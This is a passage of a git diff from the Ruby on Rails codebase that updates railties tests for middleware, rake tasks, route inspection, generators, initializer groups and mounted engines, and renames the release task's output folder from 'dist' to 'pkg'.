ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -332,7 +332,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -345,7 +345,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb index e656ada3c0..050a2161ae 100644 --- a/railties/test/application/middleware/cache_test.rb +++ b/railties/test/application/middleware/cache_test.rb @@ -31,6 +31,10 @@ module ApplicationTests $last_modified ||= Time.now.utc render_conditionally(:last_modified => $last_modified) end + + def keeps_if_modified_since + render :text => request.headers['If-Modified-Since'] + end private def render_conditionally(headers) if stale?(headers.merge(:public => !params[:private])) @@ -47,6 +51,16 @@ module ApplicationTests RUBY end + def test_cache_keeps_if_modified_since + simple_controller + expected = "Wed, 30 May 1984 19:43:31 GMT" + + get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected + + assert_equal 200, last_response.status + assert_equal expected, last_response.body, "cache should have kept If-Modified-Since" + end + def test_cache_is_disabled_in_dev_mode simple_controller app("development") diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb index c7a1c573f9..d2ad2668bb 100644 --- a/railties/test/application/middleware/sendfile_test.rb +++ b/railties/test/application/middleware/sendfile_test.rb @@ -27,11 +27,12 @@ module ApplicationTests end # x_sendfile_header middleware - test "config.action_dispatch.x_sendfile_header defaults to ''" do + test "config.action_dispatch.x_sendfile_header defaults to nil" do make_basic_app simple_controller get "/" + assert !last_response.headers["X-Sendfile"] assert_equal File.read(__FILE__), last_response.body end diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb index 6a0a272073..093cb6ca2a 100644 --- a/railties/test/application/middleware_test.rb +++ b/railties/test/application/middleware_test.rb @@ -20,6 +20,8 @@ module ApplicationTests end test "default middleware stack" do + add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'" + boot! assert_equal [ @@ -47,6 +49,12 @@ module ApplicationTests ], middleware end + test "Rack::Sendfile is not included by default" do + boot! + + assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header" + end + test "Rack::Cache is present when action_controller.perform_caching is set" do add_to_config "config.action_controller.perform_caching = true" @@ -61,6 +69,14 @@ module ApplicationTests assert middleware.include?("Rack::SSL") end + test "Rack::SSL is configured with options when given" do + add_to_config "config.force_ssl = true" + add_to_config "config.ssl_options = { :host => 'example.com' }" + boot! + + assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}] + end + test "removing Active Record omits its middleware" do use_frameworks [] boot! diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb index cc65a674c9..c76bc3d526 100644 --- a/railties/test/application/rake_test.rb +++ b/railties/test/application/rake_test.rb @@ -1,3 +1,4 @@ +# coding:utf-8 require "isolation/abstract_unit" module ApplicationTests @@ -79,13 +80,13 @@ module ApplicationTests silence_stderr do output = Dir.chdir(app_path){ `rake test` } - assert_match /Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output - assert_match /Errors running test:functionals! #<RuntimeError/, output - assert_match /Errors running test:integration! #<RuntimeError/, output + assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output) + assert_match(/Errors running test:functionals! #<RuntimeError/, output) + assert_match(/Errors running test:integration! #<RuntimeError/, output) end end - def test_rake_routes_output_strips_anchors_from_http_verbs + def test_rake_routes_calls_the_route_inspector app_file "config/routes.rb", <<-RUBY AppTemplate::Application.routes.draw do get '/cart', :to => 'cart#show' @@ -94,99 +95,6 @@ module ApplicationTests assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` } end - def test_rake_routes_shows_custom_assets - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - get '/custom/assets', :to => 'custom_assets#show' - end - RUBY - assert_equal "custom_assets GET /custom/assets(.:format) custom_assets#show\n", - Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_resources_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - resources :articles - end - RUBY - expected = - " articles GET /articles(.:format) articles#index\n" << - " POST /articles(.:format) articles#create\n" << - " new_article GET /articles/new(.:format) articles#new\n" << - "edit_article GET /articles/:id/edit(.:format) articles#edit\n" << - " article GET /articles/:id(.:format) articles#show\n" << - " PUT /articles/:id(.:format) articles#update\n" << - " DELETE /articles/:id(.:format) articles#destroy\n" - assert_equal expected, Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_root_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - root :to => 'pages#main' - end - RUBY - assert_equal "root / pages#main\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_controller_and_action_only_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match ':controller/:action' - end - RUBY - assert_equal " /:controller/:action(.:format) \n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_controller_and_action_route_with_constraints - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match ':controller(/:action(/:id))', :id => /\\d+/ - end - RUBY - assert_equal " /:controller(/:action(/:id))(.:format) {:id=>/\\d+/}\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_defaults - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} - end - RUBY - assert_equal %Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}\n], Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_constraints - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match 'photos/:id' => 'photos#show', :id => /[A-Z]\\d{5}/ - end - RUBY - assert_equal " /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_rack_app - app_file "lib/rack_app.rb", <<-RUBY - class RackApp - class << self - def call(env) - end - end - end - RUBY - - app_file "config/routes.rb", <<-RUBY - require 'rack_app' - - AppTemplate::Application.routes.draw do - match 'foo/:id' => RackApp, :id => /[A-Z]\\d{5}/ - end - RUBY - - assert_equal " /foo/:id(.:format) RackApp {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` } - end - def test_logger_is_flushed_when_exiting_production_rake_tasks add_to_config <<-RUBY rake_tasks do @@ -219,6 +127,55 @@ module ApplicationTests assert_match(/AddEmailToUsers: reverted/, output) end + def test_migration_status_when_schema_migrations_table_is_not_present + output = Dir.chdir(app_path){ `rake db:migrate:status` } + assert_equal "Schema migrations table does not exist yet.\n", output + end + + def test_migration_status + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=1` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + end + + def test_migration_status_after_rollback_and_redo + Dir.chdir(app_path) do + `rails generate model user username:string password:string` + `rails generate migration add_email_to_users email:string` + end + + Dir.chdir(app_path) { `rake db:migrate`} + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:rollback STEP=2` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/down\s+\d{14}\s+Create users/, output) + assert_match(/down\s+\d{14}\s+Add email to users/, output) + + Dir.chdir(app_path) { `rake db:migrate:redo` } + output = Dir.chdir(app_path) { `rake db:migrate:status` } + + assert_match(/up\s+\d{14}\s+Create users/, output) + assert_match(/up\s+\d{14}\s+Add email to users/, output) + end + def test_loading_specific_fixtures Dir.chdir(app_path) do `rails generate model user username:string password:string` @@ -245,4 +202,4 @@ module ApplicationTests assert_match(/7 tests, 10 assertions, 0 failures, 0 errors/, content) end end -end
\ No newline at end of file +end diff --git a/railties/test/application/route_inspect_test.rb b/railties/test/application/route_inspect_test.rb new file mode 100644 index 0000000000..add8256b5d --- /dev/null +++ b/railties/test/application/route_inspect_test.rb @@ -0,0 +1,97 @@ +require 'test/unit' +require 'rails/application/route_inspector' +require 'action_controller' + +module ApplicationTests + class RouteInspectTest < Test::Unit::TestCase + def setup + @set = ActionDispatch::Routing::RouteSet.new + @inspector = Rails::Application::RouteInspector.new + end + + def test_cart_inspect + @set.draw do + get '/cart', :to => 'cart#show' + end + output = @inspector.format @set.routes + assert_equal ["cart GET /cart(.:format) cart#show"], output + end + + def test_inspect_shows_custom_assets + @set.draw do + get '/custom/assets', :to => 'custom_assets#show' + end + output = @inspector.format @set.routes + assert_equal ["custom_assets GET /custom/assets(.:format) custom_assets#show"], output + end + + def test_inspect_routes_shows_resources_route + @set.draw do + resources :articles + end + output = @inspector.format @set.routes + expected = [ + " articles GET /articles(.:format) articles#index", + " POST /articles(.:format) articles#create", + " new_article GET /articles/new(.:format) articles#new", + "edit_article GET /articles/:id/edit(.:format) articles#edit", + " article GET /articles/:id(.:format) articles#show", + " PUT /articles/:id(.:format) articles#update", + " DELETE /articles/:id(.:format) articles#destroy" ] + assert_equal expected, output + end + + def test_inspect_routes_shows_root_route + @set.draw do + root :to => 'pages#main' + end + output = @inspector.format @set.routes + assert_equal ["root / pages#main"], output + end + + def test_inspect_routes_shows_controller_and_action_only_route + @set.draw do + match ':controller/:action' + end + output = @inspector.format @set.routes + assert_equal [" /:controller/:action(.:format) "], output + end + + def test_inspect_routes_shows_controller_and_action_route_with_constraints + @set.draw do + match ':controller(/:action(/:id))', :id => /\d+/ + end + output = @inspector.format @set.routes + assert_equal [" /:controller(/:action(/:id))(.:format) {:id=>/\\d+/}"], output + end + + def test_rake_routes_shows_route_with_defaults + @set.draw do + match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} + end + output = @inspector.format @set.routes + assert_equal [%Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}]], output + end + + def test_rake_routes_shows_route_with_constraints + @set.draw do + match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"], output + end + + class RackApp + def self.call(env) + end + end + + def test_rake_routes_shows_route_with_rack_app + @set.draw do + match 'foo/:id' => RackApp, :id => /[A-Z]\d{5}/ + end + output = @inspector.format @set.routes + assert_equal [" /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"], output + end + end +end diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb index 3adf0ccd3e..a05e39658d 100644 --- a/railties/test/application/routing_test.rb +++ b/railties/test/application/routing_test.rb @@ -141,7 +141,7 @@ module ApplicationTests test "routes appending blocks" do app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do - match ':controller#:action' + match ':controller/:action' end RUBY diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb index e4a8000425..51fa2fe16f 100644 --- a/railties/test/generators/actions_test.rb +++ b/railties/test/generators/actions_test.rb @@ -102,11 +102,25 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'Gemfile', /gem "rspec-rails"$/ end + def test_gem_group_should_wrap_gems_in_a_group + run_generator + + action :gem_group, :development, :test do + gem 'rspec-rails' + end + + action :gem_group, :test do + gem 'fakeweb' + end + + assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/ + end + def test_environment_should_include_data_in_environment_initializer_block run_generator autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]' action :environment, autoload_paths - assert_file 'config/application.rb', /#{Regexp.escape(autoload_paths)}/ + assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/ end def test_environment_should_include_data_in_environment_initializer_block_with_env_option @@ -165,9 +179,12 @@ class ActionsTest < Rails::Generators::TestCase action :generate, 'model', 'MyModel' end - def test_rake_should_run_rake_command_with_development_env - generator.expects(:run).once.with('rake log:clear RAILS_ENV=development', :verbose => false) + def test_rake_should_run_rake_command_with_default_env + generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env end def test_rake_with_env_option_should_run_rake_command_in_env @@ -175,9 +192,28 @@ class ActionsTest < Rails::Generators::TestCase action :rake, 'log:clear', :env => 'production' end + def test_rake_with_rails_env_variable_should_run_rake_command_in_env + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production" + action :rake, 'log:clear' + ensure + ENV["RAILS_ENV"] = old_env + end + + def test_env_option_should_win_over_rails_env_variable_when_running_rake + generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', :verbose => false) + old_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "staging" + action :rake, 'log:clear', :env => 'production' + ensure + ENV["RAILS_ENV"] = old_env + end + def test_rake_with_sudo_option_should_run_rake_command_with_sudo - generator.expects(:run).once.with('sudo rake log:clear RAILS_ENV=development', :verbose => false) + generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", :verbose => false) + old_env, ENV['RAILS_ENV'] = ENV["RAILS_ENV"], nil action :rake, 'log:clear', :sudo => true + ensure + ENV["RAILS_ENV"] = old_env end def test_capify_should_run_the_capify_command diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb index fb7ebaa1fa..133efb872f 100644 --- a/railties/test/generators/app_generator_test.rb +++ b/railties/test/generators/app_generator_test.rb @@ -189,7 +189,7 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file "test/performance/browsing_test.rb" end - def test_generator_if_skip_active_record_is_given + def test_generator_if_skip_sprockets_is_given run_generator [destination_root, "--skip-sprockets"] assert_file "config/application.rb" do |content| assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content) @@ -203,6 +203,16 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file 'test' end + def test_creation_of_vendor_assets_javascripts_directory + run_generator + assert_file "vendor/assets/javascripts" + end + + def test_creation_of_vendor_assets_stylesheets_directory + run_generator + assert_file "vendor/assets/stylesheets" + end + def test_jquery_is_the_default_javascript_library run_generator assert_file "app/assets/javascripts/application.js" do |contents| @@ -314,6 +324,15 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generated_environments_file_for_sanitizer + run_generator [destination_root, "--skip-active-record"] + ["config/environments/development.rb", "config/environments/test.rb"].each do |env_file| + assert_file env_file do |file| + assert_no_match(/config.active_record.mass_assignment_sanitizer = :strict/, file) + end + end + end + protected def action(*args, &block) diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb index 044e0b6bc6..d6338bd3da 100644 --- a/railties/test/generators/assets_generator_test.rb +++ b/railties/test/generators/assets_generator_test.rb @@ -13,7 +13,7 @@ class AssetsGeneratorTest < Rails::Generators::TestCase end def test_skipping_assets - content = run_generator ["posts", "--no-stylesheets", "--no-javascripts"] + run_generator ["posts", "--no-stylesheets", "--no-javascripts"] assert_no_file "app/assets/javascripts/posts.js" assert_no_file "app/assets/stylesheets/posts.css" end diff --git a/railties/test/generators/plugin_new_generator_test.rb b/railties/test/generators/plugin_new_generator_test.rb index 0ccb2ae9da..9183945619 100644 --- a/railties/test/generators/plugin_new_generator_test.rb +++ b/railties/test/generators/plugin_new_generator_test.rb @@ -7,11 +7,13 @@ DEFAULT_PLUGIN_FILES = %w( .gitignore Gemfile Rakefile + README.rdoc bukkits.gemspec MIT-LICENSE lib lib/bukkits.rb lib/tasks/bukkits_tasks.rake + lib/bukkits/version.rb test/bukkits_test.rb test/test_helper.rb test/dummy @@ -25,10 +27,6 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase # brings setup, teardown, and some tests include SharedGeneratorTests - def default_files - ::DEFAULT_PLUGIN_FILES - end - def test_invalid_plugin_name_raises_an_error content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] } assert_equal "Invalid plugin name 43-things. Please give a name which does not start with numbers.\n", content @@ -69,13 +67,13 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase def test_database_entry_is_generated_for_sqlite3_by_default_in_full_mode run_generator([destination_root, "--full"]) assert_file "test/dummy/config/database.yml", /sqlite/ - assert_file "Gemfile", /^gem\s+["']sqlite3["']$/ + assert_file "bukkits.gemspec", /sqlite3/ end def test_config_another_database run_generator([destination_root, "-d", "mysql", "--full"]) assert_file "test/dummy/config/database.yml", /mysql/ - assert_file "Gemfile", /^gem\s+["']mysql2["']$/ + assert_file "bukkits.gemspec", /mysql/ end def test_active_record_is_removed_from_frameworks_if_skip_active_record_is_given @@ -117,8 +115,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match %r{^//= require jquery}, contents assert_match %r{^//= require jquery_ujs}, contents end - assert_file 'Gemfile' do |contents| - assert_match(/^gem 'jquery-rails'/, contents) + assert_file 'bukkits.gemspec' do |contents| + assert_match(/jquery-rails/, contents) end end @@ -128,8 +126,8 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_match %r{^//= require prototype}, contents assert_match %r{^//= require prototype_ujs}, contents end - assert_file 'Gemfile' do |contents| - assert_match(/^gem 'prototype-rails'/, contents) + assert_file 'bukkits.gemspec' do |contents| + assert_match(/prototype-rails/, contents) end end @@ -176,6 +174,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "app/controllers" assert_file "app/views" assert_file "app/helpers" + assert_file "app/mailers" assert_file "config/routes.rb", /Rails.application.routes.draw do/ assert_file "lib/bukkits/engine.rb", /module Bukkits\n class Engine < ::Rails::Engine\n end\nend/ assert_file "lib/bukkits.rb", /require "bukkits\/engine"/ @@ -198,17 +197,17 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/ assert_file "app/views/layouts/bukkits/application.html.erb" do |contents| assert_match "<title>Bukkits</title>", contents - assert_match /stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents - assert_match /javascript_include_tag\s+['"]bukkits\/application['"]/, contents + assert_match(/stylesheet_link_tag\s+['"]bukkits\/application['"]/, contents) + assert_match(/javascript_include_tag\s+['"]bukkits\/application['"]/, contents) end end def test_creating_gemspec run_generator - assert_file "bukkits.gemspec", /s.name = "bukkits"/ + assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/ assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*"\]/ assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/ - assert_file "bukkits.gemspec", /s.version = "0.0.1"/ + assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/ end def test_usage_of_engine_commands @@ -242,7 +241,7 @@ class PluginNewGeneratorTest < Rails::Generators::TestCase run_generator [destination_root, "--skip-test-unit"] assert_no_file "test" assert_file "bukkits.gemspec" do |contents| - assert_no_match /s.test_files = Dir\["test\/\*\*\/\*"\]/, contents + assert_no_match(/s.test_files = Dir\["test\/\*\*\/\*"\]/, contents) end end @@ -257,6 +256,10 @@ protected silence(:stdout){ generator.send(*args, &block) } end +protected + def default_files + ::DEFAULT_PLUGIN_FILES + end end class CustomPluginGeneratorTest < Rails::Generators::TestCase diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb index d3074afd91..1534f0d828 100644 --- a/railties/test/generators/shared_generator_tests.rb +++ b/railties/test/generators/shared_generator_tests.rb @@ -191,11 +191,11 @@ module SharedCustomGeneratorTests end def test_builder_option_with_http - path = "http://gist.github.com/103208.txt" + url = "http://gist.github.com/103208.txt" template = "class #{builder_class}; end" template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], :builder => path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) + generator([destination_root], :builder => url).expects(:open).with(url, 'Accept' => 'application/x-thor-template').returns(template) quietly { generator.invoke_all } default_files.each{ |path| assert_no_file(path) } diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb index 72c35879c5..c84c7f204c 100644 --- a/railties/test/initializable_test.rb +++ b/railties/test/initializable_test.rb @@ -61,7 +61,7 @@ module InitializableTests class Instance include Rails::Initializable - initializer :one do + initializer :one, :group => :assets do $arr << 1 end @@ -69,7 +69,7 @@ module InitializableTests $arr << 2 end - initializer :three do + initializer :three, :group => :all do $arr << 3 end @@ -209,14 +209,21 @@ module InitializableTests $arr = [] instance = Instance.new instance.run_initializers - assert_equal [1, 2, 3, 4], $arr + assert_equal [2, 3, 4], $arr + end + + test "running locals with groups" do + $arr = [] + instance = Instance.new + instance.run_initializers(:assets) + assert_equal [1, 3], $arr end end class WithArgsTest < ActiveSupport::TestCase test "running initializers with args" do $with_arg = nil - WithArgs.new.run_initializers('foo') + WithArgs.new.run_initializers(:default, 'foo') assert_equal 'foo', $with_arg end end diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb index 685d1b154b..06b658e7bd 100644 --- a/railties/test/isolation/abstract_unit.rb +++ b/railties/test/isolation/abstract_unit.rb @@ -224,6 +224,15 @@ module TestHelpers end end + def add_to_env_config(env, str) + environment = File.read("#{app_path}/config/environments/#{env}.rb") + if environment =~ /(\n\s*end\s*)\Z/ + File.open("#{app_path}/config/environments/#{env}.rb", 'w') do |f| + f.puts $` + "\n#{str}\n" + $1 + end + end + end + def remove_from_config(str) file = "#{app_path}/config/application.rb" contents = File.read(file) @@ -282,7 +291,7 @@ Module.new do require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails new #{tmp_path('app_template')}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{tmp_path('app_template')}` File.open("#{tmp_path}/app_template/config/boot.rb", 'w') do |f| if require_environment f.puts "Dir.chdir('#{File.dirname(environment)}') do" diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb index 0ff1e0f180..06a60cd858 100644 --- a/railties/test/railties/engine_test.rb +++ b/railties/test/railties/engine_test.rb @@ -400,7 +400,7 @@ module RailtiesTest boot_rails get("/bukkits/posts/new") - assert_match /name="post\[title\]"/, last_response.body + assert_match(/name="post\[title\]"/, last_response.body) end test "isolated engine should set correct route module prefix for nested namespace" do diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb index 1d4ba0e5b6..f8540d69d9 100644 --- a/railties/test/railties/generators_test.rb +++ b/railties/test/railties/generators_test.rb @@ -28,7 +28,7 @@ module RailtiesTests if File.exist?("#{environment}.rb") require_environment = "-r #{environment}" end - `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/bin/rails #{cmd}` + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}` end def build_engine(is_mountable=false) diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb index b793a7401f..0491fc2174 100644 --- a/railties/test/railties/mounted_engine_test.rb +++ b/railties/test/railties/mounted_engine_test.rb @@ -11,14 +11,20 @@ module ApplicationTests add_to_config("config.action_dispatch.show_exceptions = false") + @simple_plugin = engine "weblog" @plugin = engine "blog" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do + mount Weblog::Engine, :at => '/', :as => 'weblog' + resources :posts match "/engine_route" => "application_generating#engine_route" match "/engine_route_in_view" => "application_generating#engine_route_in_view" + match "/weblog_engine_route" => "application_generating#weblog_engine_route" + match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view" match "/url_for_engine_route" => "application_generating#url_for_engine_route" match "/polymorphic_route" => "application_generating#polymorphic_route" + match "/application_polymorphic_path" => "application_generating#application_polymorphic_path" scope "/:user", :user => "anonymous" do mount Blog::Engine => "/blog" end @@ -26,6 +32,29 @@ module ApplicationTests end RUBY + + @simple_plugin.write "lib/weblog.rb", <<-RUBY + module Weblog + class Engine < ::Rails::Engine + end + end + RUBY + + @simple_plugin.write "config/routes.rb", <<-RUBY + Weblog::Engine.routes.draw do + match '/weblog' => "weblogs#index", :as => 'weblogs' + end + RUBY + + @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY + class WeblogsController < ActionController::Base + def index + render :text => request.url + end + end + RUBY + + @plugin.write "app/models/blog/post.rb", <<-RUBY module Blog class Post @@ -59,6 +88,7 @@ module ApplicationTests resources :posts match '/generate_application_route', :to => 'posts#generate_application_route' match '/application_route_in_view', :to => 'posts#application_route_in_view' + match '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path' end RUBY @@ -79,6 +109,10 @@ module ApplicationTests def application_route_in_view render :inline => "<%= main_app.root_path %>" end + + def engine_polymorphic_path + render :text => polymorphic_path(Post.new) + end end end RUBY @@ -93,6 +127,14 @@ module ApplicationTests render :inline => "<%= blog.posts_path %>" end + def weblog_engine_route + render :text => weblog.weblogs_path + end + + def weblog_engine_route_in_view + render :inline => "<%= weblog.weblogs_path %>" + end + def url_for_engine_route render :text => blog.url_for(:controller => "blog/posts", :action => "index", :user => "john", :only_path => true) end @@ -100,6 +142,10 @@ module ApplicationTests def polymorphic_route render :text => polymorphic_url([blog, Blog::Post.new]) end + + def application_polymorphic_path + render :text => polymorphic_path(Blog::Post.new) + end end RUBY @@ -172,6 +218,22 @@ module ApplicationTests # test polymorphic routes get "/polymorphic_route" assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body + + # test that correct path is generated for the same polymorphic_path call in an engine + get "/somone/blog/engine_polymorphic_path" + assert_equal "/somone/blog/posts/44", last_response.body + + # and in an application + get "/application_polymorphic_path" + assert_equal "/posts/44", last_response.body + end + + test "route path for controller action when engine is mounted at root" do + get "/weblog_engine_route" + assert_equal "/weblog", last_response.body + + get "/weblog_engine_route_in_view" + assert_equal "/weblog", last_response.body end end end diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb index 9a64b7c64e..21fde49ff7 100644 --- a/railties/test/railties/shared_tests.rb +++ b/railties/test/railties/shared_tests.rb @@ -61,21 +61,21 @@ module RailtiesTest assert File.exists?("#{app_path}/db/migrate/2_create_users.rb") assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb") - assert_match /Copied migration 2_create_users.rb from bukkits/, output - assert_match /Copied migration 3_add_last_name_to_users.rb from bukkits/, output - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output + assert_match(/Copied migration 2_create_users.rb from bukkits/, output) + assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output) + assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output) assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length output = `bundle exec rake railties:install:migrations`.split("\n") assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb") - assert_no_match /2_create_users/, output.join("\n") + assert_no_match(/2_create_users/, output.join("\n")) yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o }) bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o }) assert_not_nil yaffle_migration_order, "Expected migration to be copied" assert_not_nil bukkits_migration_order, "Expected migration to be skipped" - assert_equal (railties.index('acts_as_yaffle') > railties.index('bukkits')) , (yaffle_migration_order > bukkits_migration_order) + assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order) migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length output = `bundle exec rake railties:install:migrations` diff --git a/tasks/release.rb b/tasks/release.rb index 01950b227d..2422efa786 100644 --- a/tasks/release.rb +++ b/tasks/release.rb @@ -4,11 +4,11 @@ root = File.expand_path('../../', __FILE__) version = File.read("#{root}/RAILS_VERSION").strip tag = "v#{version}" -directory "dist" +directory "pkg" (FRAMEWORKS + ['rails']).each do |framework| namespace framework do - gem = "dist/#{framework}-#{version}.gem" + gem = "pkg/#{framework}-#{version}.gem" gemspec = "#{framework}.gemspec" task :clean do @@ -41,10 +41,10 @@ directory "dist" File.open(file, 'w') { |f| f.write ruby } end - task gem => %w(update_version_rb dist) do + task gem => %w(update_version_rb pkg) do cmd = "" cmd << "cd #{framework} && " unless framework == "rails" - cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/dist/" + cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/" sh cmd end @@ -104,14 +104,14 @@ namespace :all do end task :commit do - File.open('dist/commit_message.txt', 'w') do |f| + File.open('pkg/commit_message.txt', 'w') do |f| f.puts "# Preparing for #{version} release\n" f.puts f.puts 